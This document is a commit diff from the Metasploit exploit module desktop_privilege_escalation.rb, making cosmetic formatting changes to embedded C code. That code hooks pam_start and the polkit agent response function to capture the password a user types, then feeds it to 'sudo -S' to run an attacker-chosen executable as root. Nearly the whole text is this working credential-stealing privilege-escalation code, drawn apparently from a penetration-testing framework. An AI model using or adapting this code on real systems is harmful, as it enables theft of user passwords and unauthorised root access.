Do minor c code cleanup

Author: jvazquez-r7

modules/exploits/linux/local/desktop_privilege_escalation.rb

@@ -174,23 +174,25 @@ def c_code(exe_file)
   int msg_style;
   const char *msg;
  };
+
 struct pam_response {
   char *resp;
   int resp_retcode;
 };
+
 struct pam_conv {
   int (*conv)(int num_msg, const struct pam_message **msg,
   struct pam_response **resp, void *appdata_ptr);
   void *appdata_ptr;
 };
 
-void run_sudo(char* password){
-  FILE* sudo = popen("sudo -S #{exe_file}","w");
+void run_sudo(char* password) {
+  FILE* sudo = popen("sudo -S #{exe_file}", "w");
   fprintf(sudo,"%s\\n",password);
   pclose(sudo);
 }
 
-int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
+int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
   struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
   int i;
   int passwd_index = -1;
@@ -199,14 +201,14 @@ def c_code(exe_file)
       passwd_index = i;
     }
   }
-  int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
+  int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
   if(passwd_index >= 0){
     run_sudo(resp[passwd_index]->resp);
   }
   return result;
 }
 
-int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
+int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
   static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
   if(!orig_pam_start){
     orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
@@ -217,13 +219,13 @@ def c_code(exe_file)
   return orig_pam_start(service_name, user, my_pam_conversation, pamh);
 }
 
-void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
+void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
   static void *(*orig_polkit_agent_session_response)(void *session, char* response);
   if(!orig_polkit_agent_session_response){
     orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
   }
   run_sudo(response);
-  orig_polkit_agent_session_response(session,response);
+  orig_polkit_agent_session_response(session, response);
   return;
 }
 |